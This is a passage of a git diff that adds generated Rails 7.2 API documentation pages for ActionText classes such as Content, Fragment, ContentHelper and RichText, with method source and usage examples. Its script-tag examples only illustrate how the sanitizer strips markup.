Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + fragment_by_converting_trix_attachments(content) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/attachments/trix_conversion.rb, line 13
+        def fragment_by_converting_trix_attachments(content)
+          Fragment.wrap(content).replace(TrixAttachment::SELECTOR) do |node|
+            from_trix_attachment(TrixAttachment.new(node))
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + from_trix_attachment(trix_attachment) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/attachments/trix_conversion.rb, line 19
+        def from_trix_attachment(trix_attachment)
+          from_attributes(trix_attachment.attributes)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_trix_attachment(content = trix_attachment_content) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/attachments/trix_conversion.rb, line 24
+      def to_trix_attachment(content = trix_attachment_content)
+        attributes = full_attributes.dup
+        attributes["content"] = content if content
+        TrixAttachment.from_attributes(attributes)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionText/Attribute.html b/src/7.2/classes/ActionText/Attribute.html new file mode 100644 index 0000000000..54763d6328 --- /dev/null +++ b/src/7.2/classes/ActionText/Attribute.html @@ -0,0 +1,227 @@ +--- +title: ActionText::Attribute +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + has_rich_text(name, encrypted: false, strict_loading: strict_loading_by_default) + +

+ + +
+

Provides access to a dependent RichText model that holds the body and attachments for a single named rich text attribute. This dependent attribute is lazily instantiated and will be auto-saved when it’s been changed. Example:

+ +
class Message < ActiveRecord::Base
+  has_rich_text :content
+end
+
+message = Message.create!(content: "<h1>Funny times!</h1>")
+message.content? #=> true
+message.content.to_s # => "<h1>Funny times!</h1>"
+message.content.to_plain_text # => "Funny times!"
+
+ +

The dependent RichText model will also automatically process attachments links as sent via the Trix-powered editor. These attachments are associated with the RichText model using Active Storage.

+ +

If you wish to preload the dependent RichText model, you can use the named scope:

+ +
Message.all.with_rich_text_content # Avoids N+1 queries when you just want the body, not the attachments.
+Message.all.with_rich_text_content_and_embeds # Avoids N+1 queries when you just want the body and attachments.
+Message.all.with_all_rich_text # Loads all rich text associations.
+
+ +

Options

+
  • +

    :encrypted - Pass true to encrypt the rich text attribute. The encryption will be non-deterministic. See ActiveRecord::Encryption::EncryptableRecord.encrypts. Default: false.

    +
  • +

    :strict_loading - Pass true to force strict loading. When omitted, strict_loading: will be set to the value of the strict_loading_by_default class attribute (false by default).

    +
+ +

Note: Action Text relies on polymorphic associations, which in turn store class names in the database. When renaming classes that use has_rich_text, make sure to also update the class names in the action_text_rich_texts.record_type polymorphic type column of the corresponding rows.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/attribute.rb, line 50
+      def has_rich_text(name, encrypted: false, strict_loading: strict_loading_by_default)
+        class_eval <<-CODE, __FILE__, __LINE__ + 1
+          def #{name}
+            rich_text_#{name} || build_rich_text_#{name}
+          end
+
+          def #{name}?
+            rich_text_#{name}.present?
+          end
+
+          def #{name}=(body)
+            self.#{name}.body = body
+          end
+        CODE
+
+        rich_text_class_name = encrypted ? "ActionText::EncryptedRichText" : "ActionText::RichText"
+        has_one :"rich_text_#{name}", -> { where(name: name) },
+          class_name: rich_text_class_name, as: :record, inverse_of: :record, autosave: true, dependent: :destroy,
+          strict_loading: strict_loading
+
+        scope :"with_rich_text_#{name}", -> { includes("rich_text_#{name}") }
+        scope :"with_rich_text_#{name}_and_embeds", -> { includes("rich_text_#{name}": { embeds_attachments: :blob }) }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + rich_text_association_names() + +

+ + +
+

Returns the names of all rich text associations.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/attribute.rb, line 80
+      def rich_text_association_names
+        reflect_on_all_associations(:has_one).collect(&:name).select { |n| n.start_with?("rich_text_") }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + with_all_rich_text() + +

+ + +
+

Eager load all dependent RichText models in bulk.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/attribute.rb, line 75
+      def with_all_rich_text
+        includes(rich_text_association_names)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionText/Content.html b/src/7.2/classes/ActionText/Content.html new file mode 100644 index 0000000000..f60d6ff85e --- /dev/null +++ b/src/7.2/classes/ActionText/Content.html @@ -0,0 +1,912 @@ +--- +title: ActionText::Content +layout: default +--- +
+ +
+
+ +
+ +

Action Text Content

+ +

The ActionText::Content class wraps an HTML fragment to add support for parsing, rendering and serialization. It can be used to extract links and attachments, convert the fragment to plain text, or serialize the fragment to the database.

+ +

The ActionText::RichText record serializes the body attribute as ActionText::Content.

+ +
class Message < ActiveRecord::Base
+  has_rich_text :content
+end
+
+message = Message.create!(content: "<h1>Funny times!</h1>")
+body = message.content.body # => #<ActionText::Content "<div class=\"trix-conte...">
+body.to_s # => "<h1>Funny times!</h1>"
+body.to_plain_text # => "Funny times!"
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [R] + fragment
+ + + + +

Class Public methods

+ +
+

+ + fragment_by_canonicalizing_content(content) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/content.rb, line 33
+      def fragment_by_canonicalizing_content(content)
+        fragment = ActionText::Attachment.fragment_by_canonicalizing_attachments(content)
+        fragment = ActionText::AttachmentGallery.fragment_by_canonicalizing_attachment_galleries(fragment)
+        fragment
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new(content = nil, options = {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/content.rb, line 40
+    def initialize(content = nil, options = {})
+      options.with_defaults! canonicalize: true
+
+      if options[:canonicalize]
+        @fragment = self.class.fragment_by_canonicalizing_content(content)
+      else
+        @fragment = ActionText::Fragment.wrap(content)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + ==(other) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/content.rb, line 169
+    def ==(other)
+      if self.class == other.class
+        to_html == other.to_html
+      elsif other.is_a?(self.class)
+        to_s == other.to_s
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + append_attachables(attachables) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/content.rb, line 93
+    def append_attachables(attachables)
+      attachments = ActionText::Attachment.from_attachables(attachables)
+      self.class.new([self.to_s.presence, *attachments].compact.join("\n"))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + as_json(*) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/content.rb, line 161
+    def as_json(*)
+      to_html
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + attachables() + +

+ + +
+

Extracts +ActionText::Attachable+s from the HTML fragment:

+ +
attachable = ActiveStorage::Blob.first
+html = %Q(<action-text-attachment sgid="#{attachable.attachable_sgid}" caption="Captioned"></action-text-attachment>)
+content = ActionText::Content.new(html)
+content.attachables # => [attachable]
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/content.rb, line 87
+    def attachables
+      @attachables ||= attachment_nodes.map do |node|
+        ActionText::Attachable.from_node(node)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + attachment_galleries() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/content.rb, line 71
+    def attachment_galleries
+      @attachment_galleries ||= attachment_gallery_nodes.map do |node|
+        attachment_gallery_for_node(node)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + attachments() + +

+ + +
+

Extracts +ActionText::Attachment+s from the HTML fragment:

+ +
attachable = ActiveStorage::Blob.first
+html = %Q(<action-text-attachment sgid="#{attachable.attachable_sgid}" caption="Captioned"></action-text-attachment>)
+content = ActionText::Content.new(html)
+content.attachments # => [#<ActionText::Attachment attachable=#<ActiveStorage::Blob...
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/content.rb, line 65
+    def attachments
+      @attachments ||= attachment_nodes.map do |node|
+        attachment_for_node(node)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+ + + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/content.rb, line 77
+    def gallery_attachments
+      @gallery_attachments ||= attachment_galleries.flat_map(&:attachments)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + inspect() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/content.rb, line 165
+    def inspect
+      "#<#{self.class.name} #{to_html.truncate(25).inspect}>"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+ + + +
+

Extracts links from the HTML fragment:

+ +
html = '<a href="http://example.com/">Example</a>'
+content = ActionText::Content.new(html)
+content.links # => ["http://example.com/"]
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/content.rb, line 55
+    def links
+      @links ||= fragment.find_all("a[href]").map { |a| a["href"] }.uniq
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + render_attachment_galleries(&block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/content.rb, line 109
+    def render_attachment_galleries(&block)
+      content = ActionText::AttachmentGallery.fragment_by_replacing_attachment_gallery_nodes(fragment) do |node|
+        block.call(attachment_gallery_for_node(node))
+      end
+      self.class.new(content, canonicalize: false)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + render_attachments(**options, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/content.rb, line 98
+    def render_attachments(**options, &block)
+      content = fragment.replace(ActionText::Attachment.tag_name) do |node|
+        if node.key?("content")
+          sanitized_content = sanitize_content_attachment(node.remove_attribute("content").to_s)
+          node["content"] = sanitized_content if sanitized_content.present?
+        end
+        block.call(attachment_for_node(node, **options))
+      end
+      self.class.new(content, canonicalize: false)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_html() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/content.rb, line 138
+    def to_html
+      fragment.to_html
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_partial_path() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/content.rb, line 146
+    def to_partial_path
+      "action_text/contents/content"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_plain_text() + +

+ + +
+

Returns a plain-text version of the markup contained by the content, with tags removed but HTML entities encoded.

+ +
content = ActionText::Content.new("<h1>Funny times!</h1>")
+content.to_plain_text # => "Funny times!"
+
+content = ActionText::Content.new("<div onclick='action()'>safe<script>unsafe</script></div>")
+content.to_plain_text # => "safeunsafe"
+
+ +

NOTE: that the returned string is not HTML safe and should not be rendered in browsers.

+ +
content = ActionText::Content.new("&lt;script&gt;alert()&lt;/script&gt;")
+content.to_plain_text # => "<script>alert()</script>"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/content.rb, line 130
+    def to_plain_text
+      render_attachments(with_full_attributes: false, &:to_plain_text).fragment.to_plain_text
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_rendered_html_with_layout() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/content.rb, line 142
+    def to_rendered_html_with_layout
+      render layout: "action_text/contents/content", partial: to_partial_path, formats: :html, locals: { content: self }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_s() + +

+ + +
+

Safely transforms Content into an HTML String.

+ +
content = ActionText::Content.new(content: "<h1>Funny times!</h1>")
+content.to_s # => "<h1>Funny times!</h1>"
+
+content = ActionText::Content.new("<div onclick='action()'>safe<script>unsafe</script></div>")
+content.to_s # => "<div>safeunsafe</div>"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/content.rb, line 157
+    def to_s
+      to_rendered_html_with_layout
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_trix_html() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/content.rb, line 134
+    def to_trix_html
+      render_attachments(&:to_trix_attachment).to_html
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionText/ContentHelper.html b/src/7.2/classes/ActionText/ContentHelper.html new file mode 100644 index 0000000000..6c26b49d9d --- /dev/null +++ b/src/7.2/classes/ActionText/ContentHelper.html @@ -0,0 +1,320 @@ +--- +title: ActionText::ContentHelper +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + render_action_text_attachments(content) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/app/helpers/action_text/content_helper.rb, line 37
+    def render_action_text_attachments(content)
+      content.render_attachments do |attachment|
+        unless attachment.in?(content.gallery_attachments)
+          attachment.node.tap do |node|
+            node.inner_html = render_action_text_attachment attachment, locals: { in_gallery: false }
+          end
+        end
+      end.render_attachment_galleries do |attachment_gallery|
+        render(layout: attachment_gallery, object: attachment_gallery) do
+          attachment_gallery.attachments.map do |attachment|
+            attachment.node.inner_html = render_action_text_attachment attachment, locals: { in_gallery: true }
+            attachment.to_html
+          end.join.html_safe
+        end.chomp
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + render_action_text_content(content) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/app/helpers/action_text/content_helper.rb, line 14
+    def render_action_text_content(content)
+      self.prefix_partial_path_with_controller_namespace = false
+      sanitize_action_text_content(render_action_text_attachments(content))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + sanitize_action_text_content(content) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/app/helpers/action_text/content_helper.rb, line 28
+    def sanitize_action_text_content(content)
+      sanitizer.sanitize(
+        content.to_html,
+        tags: sanitizer_allowed_tags,
+        attributes: sanitizer_allowed_attributes,
+        scrubber: scrubber,
+      ).html_safe
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + sanitize_content_attachment(content_attachment) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/app/helpers/action_text/content_helper.rb, line 19
+    def sanitize_content_attachment(content_attachment)
+      sanitizer.sanitize(
+        content_attachment,
+        tags: sanitizer_allowed_tags,
+        attributes: sanitizer_allowed_attributes,
+        scrubber: scrubber,
+      )
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + sanitizer_allowed_attributes() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/app/helpers/action_text/content_helper.rb, line 72
+    def sanitizer_allowed_attributes
+      allowed_attributes || (sanitizer.class.allowed_attributes + ActionText::Attachment::ATTRIBUTES)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + sanitizer_allowed_tags() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/app/helpers/action_text/content_helper.rb, line 68
+    def sanitizer_allowed_tags
+      allowed_tags || (sanitizer.class.allowed_tags + [ ActionText::Attachment.tag_name, "figure", "figcaption" ])
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionText/EncryptedRichText.html b/src/7.2/classes/ActionText/EncryptedRichText.html new file mode 100644 index 0000000000..5279ac72af --- /dev/null +++ b/src/7.2/classes/ActionText/EncryptedRichText.html @@ -0,0 +1,60 @@ +--- +title: ActionText::EncryptedRichText +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionText/Encryption.html b/src/7.2/classes/ActionText/Encryption.html new file mode 100644 index 0000000000..2c663801e9 --- /dev/null +++ b/src/7.2/classes/ActionText/Encryption.html @@ -0,0 +1,146 @@ +--- +title: ActionText::Encryption +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + decrypt() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/encryption.rb, line 14
+    def decrypt
+      transaction do
+        super
+        decrypt_rich_texts if has_encrypted_rich_texts?
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + encrypt() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/encryption.rb, line 7
+    def encrypt
+      transaction do
+        super
+        encrypt_rich_texts if has_encrypted_rich_texts?
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionText/Engine.html b/src/7.2/classes/ActionText/Engine.html new file mode 100644 index 0000000000..b21399feee --- /dev/null +++ b/src/7.2/classes/ActionText/Engine.html @@ -0,0 +1,215 @@ +--- +title: ActionText::Engine +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + attachable_plain_text_representation(caption = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/engine.rb, line 49
+        def attachable_plain_text_representation(caption = nil)
+          "[#{caption || filename}]"
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + previewable_attachable?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/engine.rb, line 45
+        def previewable_attachable?
+          representable?
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_trix_content_attachment_partial_path() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/engine.rb, line 53
+        def to_trix_content_attachment_partial_path
+          nil
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionText/FixtureSet.html b/src/7.2/classes/ActionText/FixtureSet.html new file mode 100644 index 0000000000..420581752a --- /dev/null +++ b/src/7.2/classes/ActionText/FixtureSet.html @@ -0,0 +1,163 @@ +--- +title: ActionText::FixtureSet +layout: default +--- +
+ +
+
+ +
+ +

Action Text FixtureSet

+ +

Fixtures are a way of organizing data that you want to test against; in short, sample data.

+ +

To learn more about fixtures, read the ActiveRecord::FixtureSet documentation.

+ +

YAML

+ +

Like other Active Record-backed models, ActionText::RichText records inherit from ActiveRecord::Base instances and can therefore be populated by fixtures.

+ +

Consider an Article class:

+ +
class Article < ApplicationRecord
+  has_rich_text :content
+end
+
+ +

To declare fixture data for the related content, first declare fixture data for Article instances in test/fixtures/articles.yml:

+ +
first:
+  title: An Article
+
+ +

Then declare the ActionText::RichText fixture data in test/fixtures/action_text/rich_texts.yml, making sure to declare each entry’s record: key as a polymorphic relationship:

+ +
first:
+  record: first (Article)
+  name: content
+  body: <div>Hello, world.</div>
+
+ +

When processed, Active Record will insert database records for each fixture entry and will ensure the Action Text relationship is intact.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + attachment(fixture_set_name, label, column_type: :integer) + +

+ + +
+

Fixtures support Action Text attachments as part of their body HTML.

+ +

Examples

+ +

For example, consider a second Article fixture declared in test/fixtures/articles.yml:

+ +
second:
+  title: Another Article
+
+ +

You can attach a mention of articles(:first) to secondβ€˜s content by embedding a call to ActionText::FixtureSet.attachment in the body: value in test/fixtures/action_text/rich_texts.yml:

+ +
second:
+  record: second (Article)
+  name: content
+  body: <div>Hello, <%= ActionText::FixtureSet.attachment("articles", :first) %></div>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/fixture_set.rb, line 61
+    def self.attachment(fixture_set_name, label, column_type: :integer)
+      signed_global_id = ActiveRecord::FixtureSet.signed_global_id fixture_set_name, label,
+        column_type: column_type, for: ActionText::Attachable::LOCATOR_NAME
+
+      %(<action-text-attachment sgid="#{signed_global_id}"></action-text-attachment>)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionText/Fragment.html b/src/7.2/classes/ActionText/Fragment.html new file mode 100644 index 0000000000..e5be172b3e --- /dev/null +++ b/src/7.2/classes/ActionText/Fragment.html @@ -0,0 +1,449 @@ +--- +title: ActionText::Fragment +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [R] + source
+ + + + +

Class Public methods

+ +
+

+ + from_html(html) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/fragment.rb, line 19
+      def from_html(html)
+        new(ActionText::HtmlConversion.fragment_for_html(html.to_s.strip))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new(source) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/fragment.rb, line 28
+    def initialize(source)
+      @source = source
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + wrap(fragment_or_html) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/fragment.rb, line 8
+      def wrap(fragment_or_html)
+        case fragment_or_html
+        when self
+          fragment_or_html
+        when Nokogiri::XML::DocumentFragment # base class for all fragments
+          new(fragment_or_html)
+        else
+          from_html(fragment_or_html)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + find_all(selector) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/fragment.rb, line 32
+    def find_all(selector)
+      source.css(selector)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + replace(selector) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/fragment.rb, line 41
+    def replace(selector)
+      update do |source|
+        source.css(selector).each do |node|
+          replacement_node = yield(node)
+          node.replace(replacement_node.to_s) if node != replacement_node
+        end
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_html() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/fragment.rb, line 54
+    def to_html
+      @html ||= HtmlConversion.node_to_html(source)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_plain_text() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/fragment.rb, line 50
+    def to_plain_text
+      @plain_text ||= PlainTextConversion.node_to_plain_text(source)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_s() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/fragment.rb, line 58
+    def to_s
+      to_html
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + update() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/fragment.rb, line 36
+    def update
+      yield source = self.source.dup
+      self.class.new(source)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionText/HtmlConversion.html b/src/7.2/classes/ActionText/HtmlConversion.html new file mode 100644 index 0000000000..37a5472528 --- /dev/null +++ b/src/7.2/classes/ActionText/HtmlConversion.html @@ -0,0 +1,179 @@ +--- +title: ActionText::HtmlConversion +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + create_element(tag_name, attributes = {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/html_conversion.rb, line 17
+    def create_element(tag_name, attributes = {})
+      document.create_element(tag_name, attributes)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + fragment_for_html(html) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/html_conversion.rb, line 13
+    def fragment_for_html(html)
+      document.fragment(html)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + node_to_html(node) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/html_conversion.rb, line 9
+    def node_to_html(node)
+      node.to_html(save_with: Nokogiri::XML::Node::SaveOptions::AS_HTML)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionText/PlainTextConversion.html b/src/7.2/classes/ActionText/PlainTextConversion.html new file mode 100644 index 0000000000..f08e4b164a --- /dev/null +++ b/src/7.2/classes/ActionText/PlainTextConversion.html @@ -0,0 +1,101 @@ +--- +title: ActionText::PlainTextConversion +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + node_to_plain_text(node) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/lib/action_text/plain_text_conversion.rb, line 9
+    def node_to_plain_text(node)
+      remove_trailing_newlines(plain_text_for_node(node))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionText/RichText.html b/src/7.2/classes/ActionText/RichText.html new file mode 100644 index 0000000000..dff62cceec --- /dev/null +++ b/src/7.2/classes/ActionText/RichText.html @@ -0,0 +1,311 @@ +--- +title: ActionText::RichText +layout: default +--- +
+ +
+
+ +
+ +

Action Text RichText

+ +

The RichText record holds the content produced by the Trix editor in a serialized body attribute. It also holds all the references to the embedded files, which are stored using Active Storage. This record is then associated with the Active Record model the application desires to have rich text content using the has_rich_text class method.

+ +
class Message < ActiveRecord::Base
+  has_rich_text :content
+end
+
+message = Message.create!(content: "<h1>Funny times!</h1>")
+message.content #=> #<ActionText::RichText....
+message.content.to_s # => "<h1>Funny times!</h1>"
+message.content.to_plain_text # => "Funny times!"
+
+message = Message.create!(content: "<div onclick='action()'>safe<script>unsafe</script></div>")
+message.content #=> #<ActionText::RichText....
+message.content.to_s # => "<div>safeunsafe</div>"
+message.content.to_plain_text # => "safeunsafe"
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + embeds + +

+ + +
+

Returns the ActiveStorage::Blobs of the embedded files.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/app/models/action_text/rich_text.rb, line 52
+    has_many_attached :embeds
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + record + +

+ + +
+

Returns the associated record.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/app/models/action_text/rich_text.rb, line 46
+    belongs_to :record, polymorphic: true, touch: true
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_plain_text() + +

+ + +
+

Returns a plain-text version of the markup contained by the body attribute, with tags removed but HTML entities encoded.

+ +
message = Message.create!(content: "<h1>Funny times!</h1>")
+message.content.to_plain_text # => "Funny times!"
+
+ +

NOTE: that the returned string is not HTML safe and should not be rendered in browsers.

+ +
message = Message.create!(content: "&lt;script&gt;alert()&lt;/script&gt;")
+message.content.to_plain_text # => "<script>alert()</script>"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/app/models/action_text/rich_text.rb, line 69
+    def to_plain_text
+      body&.to_plain_text.to_s
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_s + +

+ + +
+

Safely transforms RichText into an HTML String.

+ +
message = Message.create!(content: "<h1>Funny times!</h1>")
+message.content.to_s # => "<h1>Funny times!</h1>"
+
+message = Message.create!(content: "<div onclick='action()'>safe<script>unsafe</script></div>")
+message.content.to_s # => "<div>safeunsafe</div>"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actiontext/app/models/action_text/rich_text.rb, line 39
+    serialize :body, coder: ActionText::Content
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_trix_html() + +

+ + +
+

Returns the body attribute in a format that makes it editable in the Trix editor. Previews of attachments are rendered inline.

+ +
content = "<h1>Funny Times!</h1><figure data-trix-attachment='{\"sgid\":\"..."\}'></figure>"
+message = Message.create!(content: content)
+message.content.to_trix_html # =>
